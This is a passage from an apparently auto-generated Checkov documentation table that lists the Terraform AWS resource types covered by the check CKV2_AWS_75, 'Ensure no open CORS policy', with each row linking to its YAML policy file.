[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2884 | CKV2_AWS_75 | resource | aws_iot_domain_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2885 | CKV2_AWS_75 | resource | aws_iot_event_configurations | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2886 | CKV2_AWS_75 | resource | aws_iot_indexing_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2887 | CKV2_AWS_75 | resource | aws_iot_logging_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2888 | CKV2_AWS_75 | resource | aws_iot_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2889 | CKV2_AWS_75 | resource | aws_iot_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2890 | CKV2_AWS_75 | resource | aws_iot_provisioning_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2891 | CKV2_AWS_75 | resource | aws_iot_role_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2892 | CKV2_AWS_75 | resource | aws_iot_thing | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2893 | CKV2_AWS_75 | resource | aws_iot_thing_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2894 | CKV2_AWS_75 | resource | aws_iot_thing_group_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2895 | CKV2_AWS_75 | resource | aws_iot_thing_principal_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2896 | CKV2_AWS_75 | resource | aws_iot_thing_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2897 | CKV2_AWS_75 | resource | aws_iot_topic_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2898 | CKV2_AWS_75 | resource | aws_iot_topic_rule_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2899 | CKV2_AWS_75 | resource | aws_ivs_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2900 | CKV2_AWS_75 | resource | aws_ivs_playback_key_pair | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2901 | CKV2_AWS_75 | resource | aws_ivs_recording_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2902 | CKV2_AWS_75 | resource | aws_ivschat_logging_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2903 | CKV2_AWS_75 | resource | aws_ivschat_room | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2904 | CKV2_AWS_75 | resource | aws_kendra_data_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2905 | CKV2_AWS_75 | resource | aws_kendra_experience | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2906 | CKV2_AWS_75 | resource | aws_kendra_faq | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2907 | CKV2_AWS_75 | resource | aws_kendra_index | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2908 | CKV2_AWS_75 | resource | aws_kendra_query_suggestions_block_list | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2909 | CKV2_AWS_75 | resource | aws_kendra_thesaurus | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2910 | CKV2_AWS_75 | resource | aws_key_pair | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2911 | CKV2_AWS_75 | resource | aws_keyspaces_keyspace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2912 | CKV2_AWS_75 | resource | aws_keyspaces_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2913 | CKV2_AWS_75 | resource | aws_kinesis_analytics_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2914 | CKV2_AWS_75 | resource | aws_kinesis_firehose_delivery_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2915 | CKV2_AWS_75 | resource | aws_kinesis_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2916 | CKV2_AWS_75 | resource | aws_kinesis_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2917 | CKV2_AWS_75 | resource | aws_kinesis_stream_consumer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2918 | CKV2_AWS_75 | resource | aws_kinesis_video_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2919 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2920 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2921 | CKV2_AWS_75 | resource | aws_kms_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2922 | CKV2_AWS_75 | resource | aws_kms_ciphertext | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2923 | CKV2_AWS_75 | resource | aws_kms_custom_key_store | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2924 | CKV2_AWS_75 | resource | aws_kms_external_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2925 | CKV2_AWS_75 | resource | aws_kms_grant | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2926 | CKV2_AWS_75 | resource | aws_kms_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2927 | CKV2_AWS_75 | resource | aws_kms_key_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2928 | CKV2_AWS_75 | resource | aws_kms_replica_external_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2929 | CKV2_AWS_75 | resource | aws_kms_replica_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2930 | CKV2_AWS_75 | resource | aws_lakeformation_data_cells_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2931 | CKV2_AWS_75 | resource | aws_lakeformation_data_lake_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2932 | CKV2_AWS_75 | resource | aws_lakeformation_lf_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2933 | CKV2_AWS_75 | resource | aws_lakeformation_permissions | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2934 | CKV2_AWS_75 | resource | aws_lakeformation_resource | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2935 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2936 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tags | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2937 | CKV2_AWS_75 | resource | aws_lambda_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2938 | CKV2_AWS_75 | resource | aws_lambda_code_signing_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2939 | CKV2_AWS_75 | resource | aws_lambda_event_source_mapping | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2940 | CKV2_AWS_75 | resource | aws_lambda_function | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2941 | CKV2_AWS_75 | resource | aws_lambda_function_event_invoke_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2942 | CKV2_AWS_75 | resource | aws_lambda_function_recursion_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2943 | CKV2_AWS_75 | resource | aws_lambda_function_url | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2944 | CKV2_AWS_75 | resource | aws_lambda_invocation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2945 | CKV2_AWS_75 | resource | aws_lambda_layer_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2946 | CKV2_AWS_75 | resource | aws_lambda_layer_version_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2947 | CKV2_AWS_75 | resource | aws_lambda_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2948 | CKV2_AWS_75 | resource | aws_lambda_provisioned_concurrency_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2949 | CKV2_AWS_75 | resource | aws_lambda_runtime_management_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2950 | CKV2_AWS_75 | resource | aws_launch_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2951 | CKV2_AWS_75 | resource | aws_launch_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2952 | CKV2_AWS_75 | resource | aws_lb | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2953 | CKV2_AWS_75 | resource | aws_lb_cookie_stickiness_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2954 | CKV2_AWS_75 | resource | aws_lb_listener | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2955 | CKV2_AWS_75 | resource | aws_lb_listener_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2956 | CKV2_AWS_75 | resource | aws_lb_listener_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2957 | CKV2_AWS_75 | resource | aws_lb_ssl_negotiation_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2958 | CKV2_AWS_75 | resource | aws_lb_target_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2959 | CKV2_AWS_75 | resource | aws_lb_target_group_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2960 | CKV2_AWS_75 | resource | aws_lb_trust_store | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2961 | CKV2_AWS_75 | resource | aws_lb_trust_store_revocation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2962 | CKV2_AWS_75 | resource | aws_lex_bot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2963 | CKV2_AWS_75 | resource | aws_lex_bot_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2964 | CKV2_AWS_75 | resource | aws_lex_intent | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2965 | CKV2_AWS_75 | resource | aws_lex_slot_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2966 | CKV2_AWS_75 | resource | aws_lexv2models_bot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2967 | CKV2_AWS_75 | resource | aws_lexv2models_bot_locale | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2968 | CKV2_AWS_75 | resource | aws_lexv2models_bot_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2969 | CKV2_AWS_75 | resource | aws_lexv2models_intent | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2970 | CKV2_AWS_75 | resource | aws_lexv2models_slot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2971 | CKV2_AWS_75 | resource | aws_lexv2models_slot_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2972 | CKV2_AWS_75 | resource | aws_licensemanager_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2973 | CKV2_AWS_75 | resource | aws_licensemanager_grant | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2974 | CKV2_AWS_75 | resource | aws_licensemanager_grant_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2975 | CKV2_AWS_75 | resource | aws_licensemanager_license_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2976 | CKV2_AWS_75 | resource | aws_lightsail_bucket | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2977 | CKV2_AWS_75 | resource | aws_lightsail_bucket_access_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2978 | CKV2_AWS_75 | resource | aws_lightsail_bucket_resource_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2979 | CKV2_AWS_75 | resource | aws_lightsail_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2980 | CKV2_AWS_75 | resource | aws_lightsail_container_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2981 | CKV2_AWS_75 | resource | aws_lightsail_container_service_deployment_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2982 | CKV2_AWS_75 | resource | aws_lightsail_database | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2983 | CKV2_AWS_75 | resource | aws_lightsail_disk | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2984 | CKV2_AWS_75 | resource | aws_lightsail_disk_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2985 | CKV2_AWS_75 | resource | aws_lightsail_distribution | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2986 | CKV2_AWS_75 | resource | aws_lightsail_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2987 | CKV2_AWS_75 | resource | aws_lightsail_domain_entry | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2988 | CKV2_AWS_75 | resource | aws_lightsail_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2989 | CKV2_AWS_75 | resource | aws_lightsail_instance_public_ports | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2990 | CKV2_AWS_75 | resource | aws_lightsail_key_pair | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2991 | CKV2_AWS_75 | resource | aws_lightsail_lb | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2992 | CKV2_AWS_75 | resource | aws_lightsail_lb_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2993 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2994 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2995 | CKV2_AWS_75 | resource | aws_lightsail_lb_https_redirection_policy | Ensure no open CORS 